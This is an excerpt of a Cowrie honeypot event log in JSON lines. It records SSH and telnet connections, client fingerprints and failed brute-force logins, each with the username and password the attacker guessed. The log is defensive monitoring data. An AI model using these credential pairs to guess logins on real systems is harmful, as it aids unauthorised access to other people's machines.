{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:52.938200Z","src_ip":"207.56.225.202","session":"18f24dc84665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:53.040238Z","src_ip":"43.135.176.251","session":"433e22152171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:53.662408Z","src_ip":"207.56.225.202","session":"18f24dc84665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:54.839180Z","src_ip":"207.56.225.202","session":"18f24dc84665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.6656539440155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:54.868765Z","src_ip":"192.119.13.58","session":"42e10371347b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"e56e5ce51446","protocol":"ssh","message":"New connection: 5.181.124.9:36932 (159.203.135.109:22) [session: e56e5ce51446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:56.086668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:56.092421Z","src_ip":"5.181.124.9","session":"e56e5ce51446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:56.174501Z","src_ip":"5.181.124.9","session":"e56e5ce51446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed666","message":"login attempt [root/speed666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:56.533983Z","src_ip":"5.181.124.9","session":"e56e5ce51446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:47:57.619608Z","src_ip":"5.181.124.9","session":"e56e5ce51446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45720,"dst_ip":"10.17.0.5","dst_port":22,"session":"3894da91ccc2","protocol":"ssh","message":"New connection: 80.94.92.184:45720 (10.17.0.5:22) [session: 3894da91ccc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:01.921155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:01.935861Z","src_ip":"80.94.92.184","session":"3894da91ccc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:02.104740Z","src_ip":"80.94.92.184","session":"3894da91ccc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:02.867506Z","src_ip":"80.94.92.184","session":"3894da91ccc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34880,"dst_ip":"10.17.0.5","dst_port":23,"session":"628c42113929","protocol":"telnet","message":"New connection: 192.119.13.58:34880 (10.17.0.5:23) [session: 628c42113929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:03.810491Z"}
{"eventid":"cowrie.session.closed","duration":0.005712270736694336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:03.816055Z","src_ip":"192.119.13.58","session":"628c42113929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:03.999119Z","src_ip":"80.94.92.184","session":"3894da91ccc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.31810903549194,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:06.299161Z","src_ip":"192.119.13.58","session":"c260e6ee822a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":65132,"dst_ip":"10.17.0.5","dst_port":22,"session":"9626636e0aa9","protocol":"ssh","message":"New connection: 38.93.206.2:65132 (10.17.0.5:22) [session: 9626636e0aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:10.400030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:10.405449Z","src_ip":"38.93.206.2","session":"9626636e0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:10.459460Z","src_ip":"38.93.206.2","session":"9626636e0aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070809","message":"login attempt [root/070809] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:10.609211Z","src_ip":"38.93.206.2","session":"9626636e0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:11.662657Z","src_ip":"38.93.206.2","session":"9626636e0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.334667682647705,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:13.698682Z","src_ip":"192.119.13.58","session":"1fce12b138d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":37978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d66be07d24","protocol":"ssh","message":"New connection: 43.135.177.217:37978 (10.17.0.5:22) [session: d1d66be07d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:18.366314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:18.371036Z","src_ip":"43.135.177.217","session":"d1d66be07d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:18.440307Z","src_ip":"43.135.177.217","session":"d1d66be07d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yangwei","message":"login attempt [root/yangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:18.748084Z","src_ip":"43.135.177.217","session":"d1d66be07d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:19.820316Z","src_ip":"43.135.177.217","session":"d1d66be07d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58390,"dst_ip":"10.17.0.5","dst_port":23,"session":"7324b766731a","protocol":"telnet","message":"New connection: 192.119.13.58:58390 (10.17.0.5:23) [session: 7324b766731a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:23.733438Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":39304,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7dbd45c1898","protocol":"ssh","message":"New connection: 62.133.63.178:39304 (10.17.0.5:22) [session: b7dbd45c1898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:24.276453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:24.284375Z","src_ip":"62.133.63.178","session":"b7dbd45c1898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:24.408081Z","src_ip":"62.133.63.178","session":"b7dbd45c1898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:24.781389Z","src_ip":"62.133.63.178","session":"b7dbd45c1898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.921918630599976,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:25.630808Z","src_ip":"192.119.13.58","session":"99dfdb524390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:25.907695Z","src_ip":"62.133.63.178","session":"b7dbd45c1898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.50851774215698,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:27.264243Z","src_ip":"192.119.13.58","session":"889acb8d459b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a399769fe0","protocol":"telnet","message":"New connection: 192.119.13.58:52660 (10.17.0.5:23) [session: 44a399769fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:29.208199Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54282,"dst_ip":"159.203.135.109","dst_port":22,"session":"4810d955356f","protocol":"ssh","message":"New connection: 87.251.79.125:54282 (159.203.135.109:22) [session: 4810d955356f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.325211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.330120Z","src_ip":"87.251.79.125","session":"4810d955356f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.403872Z","src_ip":"87.251.79.125","session":"4810d955356f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":36834,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec1ddbef5a8","protocol":"ssh","message":"New connection: 37.143.61.84:36834 (159.203.135.109:22) [session: eec1ddbef5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.413920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.418331Z","src_ip":"37.143.61.84","session":"eec1ddbef5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.03024744987488,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.441162Z","src_ip":"192.119.13.58","session":"fc9ca56800f1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.520777Z","src_ip":"37.143.61.84","session":"eec1ddbef5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.266364097595215,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.547920Z","src_ip":"192.119.13.58","session":"b54eb74fb938","protocol":"telnet"}
